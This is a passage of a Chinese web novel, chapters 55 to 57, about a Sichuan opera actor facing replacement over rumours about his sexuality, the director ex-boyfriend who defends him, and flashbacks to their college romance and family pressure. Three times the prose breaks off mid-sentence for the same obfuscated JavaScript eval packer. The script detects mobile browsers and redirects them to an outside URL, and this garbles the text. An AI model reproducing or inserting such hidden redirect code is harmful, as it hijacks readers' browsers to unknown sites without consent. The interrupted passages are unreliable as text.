下午两点四十五,陈声和站在川剧团后台那扇旧得掉漆的红木门前,手里捏着那份拍摄计划,纸都被他攥得皱巴巴的了,可上面写了什么,他一个字都读不进去。 秋天下午不冷不热,挺舒服的。屋檐水一滴一滴砸在下面石板上,嗒、嗒、嗒,听得人心里也跟着发空。 “导演,”林瑶凑过来,声音压得低低的,指了指自己手腕,“李老师那边就答应给一小时,还得留时间调试设备呢。” 陈声和点了点头,喉咙有点发干,不自觉地咽了一下。他伸手推门,门轴“吱呀”一声,又老又锈,听着就像把什么陈年旧事也给一起推开了。 迎面而来的油彩味里搅和着铁观音的茶香,还有樟木箱散发的防蛀药丸气息。 屋里三个年轻演员正对着镜子描眉画眼,一看他进来,说话声立马停了。有个戴耳钉的男生手一抖,眉笔直接在太阳穴拉出一道黑。 最里面那张化妆台前,李霄川背对着他坐着,环形灯把他背影照得清清楚楚。镜子里映出他半张已经化好许仙妆的脸,细眉斜飞,眼尾吊起,嘴唇正中一点红。 陈声和突然觉得有点喘不上气,脚下蹭了蹭地板,皮鞋磨出细细的声响。 他忍不住走神,想起大学生艺术节那次。也是《白蛇传》,谢幕的时候,李霄川突然把头上的许仙冠给摘了。 汗顺着他鬓角往下淌,流到下巴尖,舞台灯光一照,亮得晃眼,像颗星星正往下掉。 那时候他们刚在一起没多久。谢了幕,李霄川偷偷在后台亲他,把他满脸都蹭上了胭脂。 “陈导。” 镜子里的人转过身来,半张脸是戏里的许仙,半张脸是他记忆中的李霄川。 这种割裂感让陈声和胃里一阵抽紧。 李霄川用手指关节敲了敲化妆台,上面整齐摆着分装好的卸妆油和一叠棉片。 “不是要拍脸的素材吗?”李霄川说,“开始吧。” 陈声和有点僵硬地打开摄像机。取景框里的世界一下子变小了,窄得只装得下一个人。 李霄川右眼画着许仙眼妆,左眼却是他再熟悉不过的样子,没分手那两年,每天早上一睁眼就能看见的弧度。 “从……眼妆开始卸?”陈声和声音有点发紧,话像是卡在喉咙里。 李霄川抽了张棉片,浸上卸妆油:“你们拍艺术片的导演不总说,眼睛是灵魂的窗户?” 沾满卸妆油的棉片轻轻擦过李霄川的眼尾。 陈声和屏着呼吸,看着镜头里那片桃红慢慢晕开,露出底下淡淡的黑眼圈,一看就是连轴转排练熬出来的。 他看着那些精致的线条一点点融化:先是眼周的淡红,然后是眉间的银粉,最后是那颗画上去的、假假的泪痣。 李霄川慢慢抬起眼睛,目光直直撞进镜头里:“知道吗?戏妆里头,红色最难卸。” 陈声和手指一抖,画面跟着晃了一下,他不得不往后退半步才重新对上焦:“……为什么?” “因为它会渗进皮肤里,”李霄川用指腹抹过自己的下眼睑,手指立刻沾上一抹绯红,“就像有些东西,你以为擦掉了,其实还在。” 化妆间里一下子静得可怕。 林瑶在一旁小声咳嗽:“导演,要不要补个光?” 陈声和如梦初醒:“好。” 拍摄进行到一半时,化妆间的门被猛地推开。 “师兄!”张图气喘吁吁地杵在门口,练功服后背湿透一大片。他手里攥着的手机屏幕还亮着,显示着团长连续发来的语音消息。 “华央编导带着合同去会议室了,他们……”少年声音突然卡住,喉结滚动了两下,“说要换主演!” 李霄川捏着卸妆棉的手指顿了顿,脖颈上还残留着油彩的金属光泽。化妆台上散落着用过的棉片,每一片都沾着不同颜色的彩妆,像凋零的花瓣。 “告诉团长,”他继续擦拭锁骨上金色的勾线,“等拍完这个镜头。” “他们说……说要换人!”张图急得跺脚,运动鞋在地板上蹭出刺耳的声响,“下周的专场演出,可能要换成王师兄!” 陈声和透过镜头,清晰地看到李霄川下颌线绷紧的弧度。 “李老师。”陈声和放下稳定器,器材碰撞发出沉闷的声响。 他瞥见监视器里还定格着方才的画面,李霄川卸到一半的妆容,半面素净半面浓艳,像具正在腐烂的雕塑。 “工作可以改期……” “真实纪录片不是不能喊卡吗?”李霄川转头,卸妆棉在掌心攥成一团。他右脸还留着未卸净的红色眼妆,在苍白的皮肤上像道新鲜伤口。 “陈导当年不是说过,真实就是连眼泪都要拍进去?” 陈声和握紧了机器:“我……” “继续。”李霄川抓起新的卸妆棉,蘸取卸妆液的力度像是要搓掉一层皮。 深红色的油彩在他指腹下晕开,顺着颧骨往下淌,拖出一道特狰狞的印子,乍一看跟被人抓出血了似的。 林瑶瞄了眼化妆间里其他人,悄悄侧过身子,把陈声和往自己身后挡了挡。 陈声和就那么站着,一动没动。 卸妆的镜头到底还是没拍成。那边催得紧,陈声和也清楚现在舆论什么状况,没多说,自己默默把器材收了。 走廊那头传来一阵杂乱的脚步声,里头夹着“华央”、“舆情”、“换角”之类的词儿,断断续续,听不真切。 …… 川剧团的会议室里,空气沉得压人。 华央电视台来的编导是个短发中年女人,姓向,手指上裸色指甲油特别显眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005895|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这会儿她正哗啦哗啦翻着演员资料,纸页声透着股不耐烦。 “我们认为,以现在的舆论情况来看,换人是更稳妥的选择。”向编导推了下眼镜,“毕竟这次是传统文化推广专场,形象上……得特别注意。” 她有意没提“同性恋”那三个字,改用指关节叩了叩桌上那张微博热搜截图。 角落里头,武生王振亮已经换上了本该是李霄川的戏服。深蓝色的缎面在日光灯下反着光,亮得有点假,腰封也勒得太紧,憋出一圈难看的褶子。 这时候,门框轻轻响了一声。 李霄川斜靠在门边,半张脸的花脸油彩还没卸干净,眼周红彤彤地晕开一片,看着跟哭过一样。 他手里捏着卸妆棉片,转来转去,白色的棉絮沾在指关节的茧子上。 “所以您觉得,同性恋,就不配传播传统文化了?” 话音没落,茶水间那边“啪嚓”一声,不知道谁的杯子摔了。 张维猛地站起来:“李霄川!注意场合!” “我清楚得很。”李霄川大步走进来,顺手扯下墙上那张早期的演出海报。 刺啦一声,纸张撕裂的声音特别清楚,后面露出斑驳的墙皮。 “去年全国巡演,《白蛇传》128场,”他抖了抖海报,灰尘在阳光里乱飞,“王师兄你在替补席坐了128场,现在倒挺会抢戏穿的啊?” 王振亮猛地站起来,头冠上的珠子噼里啪啦一阵响,戏服领口没掖好的标签翻了出来,里头还绣着“李霄川”三个小字。 “你!” “还有,”李霄川转向电视台那边,把卸妆棉往眼角一按,擦下来一片猩红,“你们《重点访谈》上周不还在义正辞严地批判网络暴力,呼吁理性看待个人隐私吗?怎么,这周就亲自下场示范,如何用偏见把人钉上耻辱柱?” 向编导脸一下子沉了,嘴唇抿得死紧。会议室玻璃门外头,几个实习生正举着手机偷偷在拍。 “李霄川同志!”向编导的声音像是从牙缝里挤出来的,“请注意你的态度!根据台里规定,你现在已经被正式纳入华央平台的待审核演员名单,在评估期结束前,无权参与任何录制!” “我什么态度?”李霄川哼笑一声,那笑声里带着赤裸裸的嘲讽,“人的性取向是天生的,就像有人天生是左撇子,不爱吃香菜。我是同性恋,这事儿耽误我唱念做打了?耽误我翻旋子了?还是耽误我把川剧带出国门了?” “李霄川!你龟儿子给老子闭……” “让他说!”向编导厉声打断了张维的怒喝,目光直直射向李霄川,“你没耽误演出,但传统文化是民族的瑰宝,就不该被一些上不了台面的个人问题缠上,玷污了它的纯洁性!” “行啊。那就按你们的规矩来好了。”李霄川毫无惧色地迎上她的目光,一字一顿,“川剧演员不止我李霄川一个,规则由你们定,那就由你们来执行。” 他侧身,手臂一展,指向门外那片忙碌的演播区,声音陡然拔高,带着舞台腔的穿透力,确保每一个人都能听见:“还有外面你们的导演组、摄像,现在都可以撤走,去拍你们认为‘合格’的演员。” 他话音落下,整个会议室死一般寂静。 向编导的脸色已经不能用难看来形容,在场的每一个人能感觉到她被公然挑战权威后的震怒与僵硬。 “李霄川!”张维几乎是扑上来,想捂住他的嘴,“你龟儿失心疯了!这是华央向导,尽给老子添乱!” 李霄川甩开他的手,目光扫过角落里穿着他戏服,脸色一阵青一阵白的王振亮,又落回向编导身上。 “我李霄川端的这碗饭,是靠自己一身本事挣来的,唱的是人间百态,演的是悲欢离合。”他嘴角扯出一抹讥诮的弧度,目光扫过在场每一个人,“怎么,到了你们这儿,它就不干净了?” 他嗤笑一声,顶着半脸未卸的油彩,那身傲骨撑得起千斤重担:“行啊,那还等什么?现在就把我踢出局呗。” 话音砸在地上,整个会议室像是瞬间被抽干了空气,死寂得能听见针掉地的声音。 55.那你翻了吗? 所有人都被李霄川这寸步不让的架势惊着了。 对面坐着的可是华央的编导,手里捏着多少人的前程,他居然就这么硬碰硬地顶了上去? 就连向编导自己都明显愣了一下,精心描画的眉毛皱着。她大概也没料到,一个小小的川剧演员,骨头能硬到这种地步。 就在这时,门被不轻不重地叩了三下。 所有人的目光齐刷刷甩向门口。 “抱歉,打扰各位了。” 陈声和立在门边,手里拿着笔记本,他脸色有些发白,先是朝华央的向编导客气地点了点头。 “关于热搜照片,我们团队已经找到了完整监控录像,可以证明那只是普通的搀扶行为。” 他稳步走到会议桌前,没看李霄川,将一个U盘轻轻放在向编导面前。随即,又拿出自己的平板电脑,手指轻划,调出另一段素材。 画面里,李霄川坐在化妆镜前,半张脸已卸去油彩,另半张还覆着浓重的红黑纹样,正对着镜头讲解川剧脸谱的十八种勾法。 “这是我们今天临时补拍的部分,或许比任何苍白的辩解都更有力量。” 视频中,李霄川用棉签蘸取橄榄油,缓慢而细致地擦拭着额角的红色:“……脸上这红色,原本象征忠勇刚正,如同关公。可惜到了有些人眼里,红色,就只剩下……” 李霄川突然转身往外走,戏服下摆带倒了王振亮放在椅背上的保温杯,茶水泼在那套抢来的戏服上,晕开一片茶色。 “李霄川!”张维的吼声几乎掀翻屋顶。 可他连脚步都没停,只是背对着所有人,高高举起了右手,随意地挥了两下。 灯光清晰地照亮了他手背上那些因常年练功而留下的扭曲旧疤。 会议室的门轻轻合上,空气依然紧绷着,张维烦躁的让其余人都出去了。 陈声和这才坐下,将平板电脑缓缓推向桌子中央,手指在屏幕上轻点几下,调出一组数据图表。 “这是中国演出行业协会近五年的川剧市场报告。” “李霄川个人专场票房占青年演员总票房的41%,复购率62%,其中18-25岁观众占比达到82%。”他停顿了一下,“这个年龄层,恰好是华央这次非遗推广计划的核心目标群体。” 向编导推了推眼镜,镜片反射着平板上的数据光,她脸色依旧不好,显然被李霄川气得不轻。 伸手接过平板,手指在非遗传承人网络影响力指数那一栏停顿,李霄川的名字高居榜首。 “但舆论风险更高啊……”向编导深深叹了一声,手指在平板边缘轻轻敲击。 “向导,请看实时舆情监测。”陈声和点开微博数据后台,屏幕上立刻跳出三条并列的热搜趋势线。 #请尊重传统文化工作者#的话题阅读量在三小时内突破8000万 衍生话题#拒绝恶意偷拍#的讨论度上升了百分比。 他放大其中一条曲线,“值得注意的是,发声用户数据中60%是25-35岁的本科以上学历群体,这部分人群的消费能力和文化话语权……” 张维眼睛转了转,趁机拿出一份纸质文件:“这是文旅部刚下发的《传统戏剧传承人行为规范》,第三条明确要求德艺双馨!” 陈声和的目光在文件上停留,嘴角微微上扬。他解锁手机,相册里整齐分类的文件夹一闪而过。 “这是纪录片拍之前,李霄川在凉山彝寨的照片。”他将手机转向众人,“三年来,他去了二十几个偏远地区义务教学,从未收取过分文报酬。” 照片里,李霄川半蹲在一个穿着彝族服饰的小男孩面前,正耐心地帮他调整脸谱的系带。 “至于德……” 陈声和滑动屏幕,调出一张监控视频:“偷拍发生在上周三傍晚1点15分,当时我的体温是39.2度。” 他点开截图上的时间戳:“根据《民法典》相关条例,未经允许拍摄他人病容并传播,已经涉嫌侵犯隐私权。” 向编导的眉头似乎松动了一些。 “而且,”陈声和又调出一段视频,“这是我助理林瑶当时拍摄的花絮。” 画面里可以清晰地看到林瑶就站在三米外,手里还拿着退烧药。不仅是她,还有片场许多人都在,视频中可以清晰听到杂乱的声音。 “最重要的是这个。”陈声和点开最后一段视频。 画面中,李霄川正在演示变脸绝活,当他摘下最后一张脸谱时,镜头突然推近,他额角还挂着汗珠,但眼睛亮得惊人,那种专注的光芒,只有在真正的艺术家身上才能看到。 “非遗传承最怕什么?”陈声和按下暂停键,李霄川的眼睛在定格的画面中仿佛直视着每个人,“不是争议,而是无人问津。” 他的手指轻轻划过屏幕上的票房数据。 “现在的年轻人眼光毒着呢,首先得是张让人挪不开眼的脸,面具底下的真容要比脸谱还勾人。” “只有能让这些年轻人心甘情愿掏钱买票,挤破头也要进剧场的角儿,才是活着的非遗。否则,再好的技艺,锁在玻璃柜里,也只能是博物馆的标本。” “我们守着上下五千年的家底,所有的非遗文化,说到底都需要年轻一代真金白银的支持。在守住技艺根本的同时,还能让古老的文化被看见、被讨论、被喜爱……” “这就已经是最好的传承,也是最实在的成功。” 会议室陷入长久的沉默。 远处排练厅隐约传来胡琴试音的声音,断断续续地,像在寻找最合适的调子。 向编导的手指在平板边缘轻轻敲击,指甲与金属边框碰撞发出细微的声响。 “陈导,”她忽然问,“你拍非遗纪录片多年,应该明白华央这次专题的分量。” 陈声和的手指在屏幕上停顿了顿,随后打开最后一个加密文件。 “这是李霄川改编的《白蛇传》青年版海外巡演数据。伦敦Sadler''s Wells剧院,上座率92%,其中65%观众是首次接触川剧。纽约林肯中心加演三场,场刊被收藏进大都会艺术博物馆。” 他直视向编导的眼睛,声音轻轻的:“如果因为一个演员的性取向,就要否定他让外国观众都愿意买票走进剧院看川剧的能力,那才是对非遗传承最大的讽刺。” 传统文化需要走出去,被更多人看见。它不该只留在小圈子里孤芳自赏,更要站上世界的舞台,让全世界都看到,中华五千年的文化底蕴,究竟有多深厚 窗外隐约传来剧团学员练嗓的声音,咿咿呀呀地唱着《秋江》里的句子:“莫不是怕前途风雨多……” 尾音颤颤巍巍地消散在暮色里。 向编导突然合上文件夹,发出啪的一声轻响。 “张团长,”她转向一直擦汗的剧团领导,“通知李霄川准备一期非遗传承人专访。”她的目光移向陈声和,“由陈导亲自负责。” “好。”陈声和的声音很稳,但握笔的手指微微发白。 “不过我有个条件,”向编导站起身,西装裙摆利落地扫过椅背,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005896|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这次访谈,得好好聊聊传统艺术家的社会责任。” 陈声和轻轻点了点头,顺手把平板锁了屏。黑掉的屏幕像面镜子,正好照出他眼底下那两片青影。 “艺术本来就不该只是好看,”他顿了顿,“更该让人分清什么是好,什么是坏。” 这时门轴“吱呀”轻轻一响。 所有人都望过去,李霄川正站在门口,半边脸的妆还没卸完,水袖软软垂在身侧,湿漉漉的,像被雨淋透的翅膀。 他的眼神谁也没看,直直穿过满屋子的人,落在陈声和身上。 就这一眼,什么数据、舆论、非遗传承的大道理,突然全都褪了色。 两人之间仿佛又回到了五年前机场分别那一刻,耳边只剩下被广播盖住的那句…… 我等你。 向编导拿起手机,什么也没说就转身出去了。 陈声和想了想,也跟了上去。 大家把华央的人送到川剧院门口,张维几个很有眼色地先溜了。陈声和在旁边站着,等人都走远了,才轻轻叹了口气。 “向导,李霄川就那个脾气,您千万别往心里去。” 向编导也叹了口气:“能力是没得说,可脾气太硬终究要吃亏的。” “我明白,回头我会跟他好好说说。这次的事说到底是我没处理好,连累他了。” 向编导看了他一眼,没再接话:“行了,我还有个会,年底台里见吧。” “好,您路上小心。” 陈声和站在原地,直到车尾灯彻底融进黄昏里,这才彻底松了口气。 他低头摊开手心全是汗。定了定神,这才转身往回走。 剧团后门的石狮子在暮色里只剩下个模糊的影子。 李霄川正靠在那只石狮子上抽烟,烟头那点红光在黑暗里一明一暗。 陈声和走近时,他吐出一口烟圈,白雾在两人之间缓缓消散:“为什么帮我?” “不是为了你。”陈声和的声音比夜风还轻,“是为了纪录片。” 李霄川低笑一声,烟灰簌簌落下:“陈导大义。” 夜风吹过,带着晚秋那黏糊糊的潮气。 陈声和盯着李霄川指间那点猩红,忽然就想起大学时候那人说过的话:“抽烟是为了练气息,你以为我真爱抽这玩意儿?” 可现在看他吞云吐雾那架势,老练得不行。 “华央那边,暂时不换人了。”李霄川把烟头摁灭在地上,火星子噼里啪啦溅起来,“这下你满意了吧?” 陈声和没接话。天边滚过闷雷,空气里的土腥气越来越重,直往鼻子里钻。 又要下雨了。 “陈声和。”李霄川的声音飘忽得像从很远的地方传过来,“五年前你走的时候,我说过什么?” 记忆瞬间袭来,机场的广播声,行李箱的滚轮声,还有李霄川被口罩遮住大半的脸。 他说:“要是后悔了,就把脸谱翻过来。” 陈声和睫毛在路灯下颤了颤,投下细碎的影子:“……记得。” “那你翻了吗?” 雨滴开始落下,打在两人之间的地上。 陈声和抬起头。李霄川脸上没卸干净的油彩在灯下反着光,那些红颜料都渗进皮肤纹路里了,看着跟无数细小的伤口似的。 “没有。” 李霄川眼神一下子就暗了,像是被人猛地掐断了电。 “我猜也是。”他转身扎进越来越密的雨幕里,背影被雨水洇得模糊不清,“回吧,明天还得拍摄。” 56.你爸……是不是知道了 秋天来得猝不及防,一场夜雨过后,校园里的银杏叶边儿都开始黄了,跟有人拿金粉细细描过一样。 戏曲社团的决赛演出定在周五晚上,李霄川提前一周就拽着陈声和加练,排练室的灯永远都是最后才灭。 “手腕别绷那么紧,”李霄川站在陈声和身后,掌心贴着他的腕骨往上托了托,皮肤相触的地方微微发烫,“变脸不是靠蛮力,要用手腕的巧劲。” 陈声和的手指修长白皙,却总卡在翻脸谱的关键一刻。 试到几次后,他懊恼地垂下头,后颈露出一截白皙的皮肤,李霄川的目光在那停留,喉结滚了滚。 “算了,我可能真没这个天赋。”陈声和转身时没收住步子,差点撞进李霄川怀里。 两人离得太近了,近得陈声和都能闻见李霄川身上那淡淡的松木香,是他练完功常擦的药油味儿。 李霄川没往后退,反倒伸手把他额前的碎发轻轻拨了拨:“没事儿,以后我变给你看,一辈子都行。” 陈声和耳根一下就红了,刚想张嘴说点什么,排练室的门“咔”一声被推开了。 “啧啧,我是不是又来的不是时候?”杨知夏斜靠在门框上,手里拎着两杯奶茶,吸管口还挂着水珠。 作为社团里少数知道他俩关系的,她笑得那叫一个“我懂”。 李霄川倒是淡定,往后稍了半步,接过奶茶,“啪”一声利落地插好吸管,先递到陈声和手里:“练俩小时了,喝点润润。” 冰奶茶杯壁上瞬间凝出一层水雾,沾湿了陈声和的手指。 杨知夏一屁股坐在地板上,眼神在他俩之间扫来扫去:“你俩这样,真当别人看不出来啊?” “看出来能怎么着?”李霄川仰头灌了一大口,冰得他眯起眼,喉结滚了滚。他随手抹了把嘴角,语气轻松。 陈声和捏着奶茶杯的手指微微发白。让他想起上周父亲被气得住院,躺在那儿说话也是这么平静。 “回家之前,你最好想清楚自己在干什么。” “只……是同学。”他当时盯着病房地板上那道裂缝,声音低得几乎听不见,没敢看他爸通红的眼睛。 “发什么呆呢?”李霄川用膝盖碰了碰他的小腿,冰凉的触感透过牛仔裤传过来。 陈声和回过神,摇了摇头。 李霄川没说话,目光静静落在他脸上,然后伸手揉了揉他头发,本来就不太整齐的发型彻底乱了。 “周五演出,”他指指墙角的三脚架,“记得来,把我拍帅点儿。” “嗯。” 陈声和低头咬住吸管,甜腻的奶茶忽然尝出一点儿苦味。 窗外最后一片银杏叶打着转落在窗台上,像一句没说完就画上的句号。 回宿舍的路上,陈声和一直很沉默。 李霄川指腹擦过他发梢的触感还在,可父亲通红的眼睛和那句“只是同学”也同时在脑海里轮番上演。 这种冰火两重天的撕扯,让他胸口发闷。 宿舍的灯有点暗,陈声和坐在书桌前,低头一遍遍擦着相机镜头。 其实镜头早就纤尘不染了,但他还是用麂皮布用力摩挲着镜片边缘,仿佛所有的纠结和不安,都能通过这个动作磨平。 张远斜靠在对面床沿打游戏,一局终了,他才把手机扔到一边,顺手从烟盒里摸出一支玉溪烟,也没点,就在指间转着。 他的目光落在陈声和那因为用力而微微发白的指节上。 窗外飘来食堂的油烟味,还有晚秋潮湿的空气,黏糊糊地糊在皮肤上。 “喂,”张远看了他一会儿,突然开口,声音压得比平时低,“你跟李霄川……你俩现在这算怎么回事,真想好了?” 陈声和的动作没停:“我喜欢他。” 张远“啧”了一声,烟在指间转了个圈:“喜欢能当饭吃?”他抬脚踢了踢地上的篮球,“我前女友还是青梅竹马呢,现在不也嫁人了?” 陈声和的手顿了顿,镜头映出他微微抿紧的嘴唇。 “而且你别忘了,你可是潮汕独子,”张远越说越起劲,烟尾在桌沿敲得响,像是要敲醒他,“祠堂、香火、拜老爷……” 他掰着手指数:“就你们那儿那老规矩,够你喝一壶的。更别提以后真要带个男媳妇回去,那场面……” 陈声和抬起头,窗外的路灯斜斜地照进来,在他眼睛里晃着一片明明灭灭的光。 宿舍的铁架床跟着翻身的动作“吱呀”响了一声,像在催他快点开口。 “我知道。”他说。 张远明显愣了一下:“知道?” “知道以后不会好过。知道我爸肯定要掀桌子,知道我妈会哭倒在祠堂,也知道那些亲戚会在背后戳着我骂……” “更知道如果我现在怂了,往后几十年,我都会不停地想,要是当初再坚持一下呢?” 张远张了张嘴,没说出话来,指间的烟被捏得扁了下去。楼下突然闹哄哄地过去几个男生,勾肩搭背地唱着完全不在调上的情歌。 安静了好一阵,张远才长长地“唉”了一声:“……算了,说不过你。” 陈声和没再接话,只是默默把相机收进防潮箱。 远处礼堂飘来断断续续的唱戏声,是戏曲社在排《牡丹亭》。夜风把那些咿咿呀呀的调子送进来,在窗帘缝里钻进钻出。 “情不知所起,一往而深……” 那晚之后,陈声和心里一直七上八下的。 妈妈的消息跟连环夺命call似的,微信里整整齐齐排了二十多个女孩的资料,每个上面都明晃晃标着“门当户对”。 而爸爸呢,从成都回去之后就再没给他打过电话。 这种故意的沉默,像块大石头压在他心口,比直接骂他一顿还让人憋得慌。 …… 走廊的声控灯又灭了。 陈声和往墙角缩了缩,后背抵着冰凉的消防栓箱。 母亲的声音从听筒里钻出来:“阿和,你阿爸从成都回来就关在祠堂里,三炷香烧完又续,你到底同他讲了什么?” 他的指腹摩挲着手机边缘,那里有道细小的裂痕,是昨天李霄川非要看他手机里的课表,两人在公寓里打闹时撞到铁架床的栏杆。 手机脱手飞出去的瞬间,李霄川一把捞住他的腰,另一只手去接手机,结果还是磕在了床沿。 “碎碎平安啦。”那人揉着他发顶笑,带着薄茧的拇指蹭过他发旋,痒痒的,“周末带你去太古里换新的,顺便吃那家你说想试的粤菜,乖。” “就是……带他逛了校园。”话一出口就带了颤音,像个生锈的齿轮,怎么都卡不住,他喉结滚动,想把那涩意咽下去。 “看了图书馆,还有戏曲社团的排练室。” 电话那头传来瓷器轻碰的脆响。母亲在沏茶,单丛的蜜兰香气仿佛能隔着千里飘过来。 这是她审问前的习惯动作,先用茶匙拨弄茶叶,再让茶盖与杯沿轻轻相碰,在那些细碎的间隙里编织着压迫感。 “那他为什么专门问我,”茶盖咔地扣上,母亲的声音突然压低,“你们社团那个李同学,家里是不是开火锅店的?” 陈声和的神经瞬间绷紧,父亲临走那天的画面,像被人硬生生按进他脑子里的一帧电影镜头,突然就卡在那儿,不动了。 一个礼拜前,宿舍楼下。 李霄川刚晨练完,一身黑色练功服汗湿得发亮,腰侧那块布料紧紧贴着他绷紧的肌肉。 他正拿着冰镇豆浆往陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005897|193990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声和脸上贴,塑料杯外凝的水珠顺着他手腕滑进袖口:“快喝,别待会儿又低血糖晕了。” 陈声和笑着喝了几口,一抬眼就看见父亲站在几步外的榕树底下,手里拎着一袋潮汕朥饼。 那是他从小吃到大的老字号,每次老爸出差回来,都会特意绕路去买。 “阿和?” 李霄川的手还搭在他后颈上。那儿有颗浅褐色的小痣,是这人前一晚在熄灯后的浴室里,用舌尖一点点描过的。 现在,他那带着薄茧的拇指,还在那块皮肤上蹭着,直到陈声和感觉到老爸的目光落过来。 不像扔过来一把刀,也不是审视,而是非常疲惫的平静。 “阿爸……”陈声和本能后退几步,后腰却撞上楼下的自行车后座。生锈的铁链子哗啦一响,在沉默里异常清晰。 陈伟杰还穿着出院时那件深灰色开衫,左手腕上留着留置针的胶布痕迹。 他的目光从李霄川汗湿的练功服,移到儿子发红的耳尖,最后停在两人之间那不到半寸的距离上。 “李同学。”陈伟杰突然开口,声音比在医院时哑了不少,像是从胸腔里硬挤出来的,“上次你送来的枇杷膏,多谢了。” 李霄川的手指在陈声和后颈僵了一瞬,随即收手站直。他嘴角还噙着笑,但脊背线条已经绷紧,像舞台上突然被追光锁定的武生,明明紧张,却要演得从容。 “叔叔今天去复查?”李霄川的手缓缓收回来,在练功服下摆蹭了蹭,其实根本没汗。 陈声和却注意到他右手小指在轻微发抖。那是上周练双刀对打时拉伤肌腱留下的后遗症。 阳光把陈伟杰眼下的青黑照得无所遁形。他拎着朥饼袋子的手微微发抖,红绸带在风里飘着。 可父亲只是抬手按了按胸口,那里藏着刚拆线的手术疤痕,白色纱布透过衫领布料能清晰看见。 “我带了朥饼。”陈伟杰把纸袋递向李霄川,塑封袋发出轻微的哗啦声,“甜的,你试试看。” 陈声和伸手去接,老爸的手指在袋底多停留了一会儿。 只有他这个角度能看见,老爸的拇指正死死按在包装封口的红印上。 那是潮汕祭祖用的朱砂标记,每逢初一十五,妈妈都会用这种印泥给祖宗牌位前的供品打封。 “今晚七点,我飞上海。”老爸松开手,转身时衬衫被风带起一角,“记得回家。” 榕树的影子在地上晃。 李霄川的练功服下摆被风吹起,蹭在陈声和手腕上,带着汗水的潮意。 远处传来戏曲社团早课开嗓的声音,咿咿呀呀地飘在晨风里,那调子拐着弯往人耳朵里钻,像根细线勒得太阳穴发疼。 两人谁都没动。 直到陈伟杰的身影消失在拐角。 “你爸他……”李霄川喉结滚了滚,“是不是知道了?” 自行车棚的阴影里,塑料包装被陈声和捏得哗啦作响。 他想起阿爸从前连祭祖用的红桃粿摆歪了都要重新排好,现在却连点心品相都顾不上了。 他死死盯着包装上那个被捏变形的红印。 在潮汕老家,用祭祖朱砂压过的吃食,向来是只给自家人分的。父亲在用最不动声色的方式,划下了一道线。 “他知道了。”陈声和把朥饼袋子攥出深深浅浅的褶,“但他不会认。” 李霄川一把抓住他手腕,拇指重重擦过那个朱砂印子,像是要把它从包装上抹掉似的:“那就等他认。多久都等。” 车棚投下的阴影里,两个年轻人都没发觉,其实父亲根本没走远。 拐角墙后,陈伟杰又一次抬手按住了心口。那道刚拆线的手术疤在湿气里隐隐作痛,像有根细针在里头轻轻扎着。 57.只是普通朋友 “……阿和?”母亲的声音把他拽回走廊,尾音带着潮汕人口音的婉转上挑。 声控灯因为这声调突然亮起,照见对面消防玻璃里自己扭曲的倒影,嘴唇被咬得发白,脖子上还留着今早李霄川啃出来的红痕,此刻正随着脉搏突突地跳,像枚新鲜的印章。 “李同学家里确实有亲戚开火锅店。”他听见自己机械地重复,舌尖尝到铁锈味,“普通同学关系,阿爸想多了。” 电话那头传来“沙沙”声。母亲大概在翻黄历,纸页掀动的频率暴露了她的焦躁。 “你深圳表姐要出嫁了,找的香港人,大了她十岁,不知道怎么想的,你姨给她找了本地的,死活不肯。”她突然换了话题,“嘉雯你记得吧?也从英国回来,你们的婚事也要定下来。” 陈声和指甲陷进掌心。 祠堂里那些熏得发黑的族谱,茶桌上反复出现的女生们留学照片,母亲每次说“阿雯性格好”时刻意加重的语气。 所有一切在此刻连通成刺眼的红灯,像正月十五游神时晃眼的灯笼阵。 “我课程作业……” “你阿爸查了,”母亲打断他,“那天的假,李同学也请了。” 头顶的灯管“嗡嗡”响着,几只飞蛾疯狂撞击着灯罩,大概又要下雨了。 陈声和想起昨晚李霄川趴在床上写假条的样子,那人裸着后背,脊椎骨节在月光下连成一道起伏的山脉。 钢笔在纸上沙沙移动,嘴里还哼着荒腔走板的潮汕童谣,是他花两周才教会他的《天顶一粒星》,跑调跑到外婆桥,还非要学,说什么以后哄自己睡觉。 “普通同学会记得帮你请假?”母亲的声音突然放轻,背景音里传来香炉被移动的闷响,“祠堂的香灰缸……今早裂了。” “……真的,只是普通同学,我们在一个戏剧社,他帮我很多忙。” “好。”母亲果断说,“我相信你。” 然而陈声和的全身血液仿佛在这瞬间冻结。 当长辈说相信你时往往意味着妥协,而在老家,香灰缸开裂是祖宗震怒的征兆,去年三叔公家儿子退婚时也发生过同样的事。 “刺啦~” 身后传来易拉罐环被掰开的声响,陈声和猛地回头。 